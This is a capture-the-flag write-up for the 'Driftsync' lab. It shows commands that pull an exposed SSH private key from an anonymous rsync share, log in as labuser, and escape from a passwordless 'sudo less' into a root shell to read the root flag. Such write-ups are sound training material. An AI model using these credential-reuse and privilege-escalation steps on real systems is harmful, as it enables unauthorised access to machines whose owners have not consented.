Driftsync
✓ SOLVEDAnonymous rsync → exposed SSH private key → labuser shell → sudo less shell escape → root.
0
Overview
Anonymous rsync → exposed SSH private key → labuser shell → sudo less shell escape → root.
User Flag✓
Root Flag✓
StatusSolved
1
Service Enumeration
Scan
nmap -sV -p 30501,30502 173.230.128.2022
Anonymous rsync Exposure
The backup module exposed username.txt and .ssh/id_rsa.
Enumeration
rsync rsync://173.230.128.202:30502/
rsync -av --list-only rsync://173.230.128.202:30502/backup/3
SSH Foothold
SSH
chmod 600 id_rsa
ssh -i ./id_rsa -p 30501 labuser@173.230.128.202USER FLAG
flag{[REDACTED]}4
Privilege Escalation — less
sudo -l allowed passwordless /usr/bin/less. The pager shell escape opened a root shell.
Root shell
sudo /usr/bin/less /etc/hosts
!/bin/sh
cat /root/root.txtROOT FLAG
flag{[REDACTED]}✓
Attack Path
Both challenge flag values are intentionally redacted in the public writeup and screenshots.
rsync→Private key→SSH→sudo less→Root